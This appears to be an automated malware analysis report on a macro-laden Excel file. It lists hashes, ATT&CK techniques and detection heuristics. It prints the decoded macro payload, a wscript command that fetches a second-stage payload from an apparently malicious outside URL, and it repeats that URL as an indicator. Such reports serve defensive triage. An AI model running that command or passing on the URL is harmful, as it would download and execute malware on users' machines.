Office (OLE) / .XLSX malware analysis — malicious · f8c60982aff9ff35

MALICIOUS

Office (OLE) / .XLSX

169.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2022-06-09

MD5: e9cd48337369317353a28a60cdead969 SHA-1: 851d56960b92f532306d189f6190fe61e8dffd1e SHA-256: f8c60982aff9ff3592412d9e0710a4bdec5adf3234f6dc0b72885cf73ac5e350

322 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1218.005 System Binary Proxy Execution: Mshta T1059.005 Visual Basic

The Workbook_Open macro executes a shell command that invokes wscript to run a JavaScript payload. The JavaScript payload is constructed by decoding a string of ASCII character codes, which resolves to 'wscript http://www.asianexportglass.shop/p/50.html'. This indicates the macro's purpose is to download and execute a second-stage payload from the specified URL using wscript. The presence of SC_STR_WSCRIPT and SC_STR_MSHTA heuristics further supports this execution path.

Heuristics 9

ClamAV: Xls.Malware.Valyria-10002968-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Valyria-10002968-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Reference to mshta.exe high SC_STR_MSHTA

Reference to mshta.exe
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.asianexportglass.shop/p/50.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `f55877ef89703406d15e54b563f021b4089501956a21ea660572078f6895a77d`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11187 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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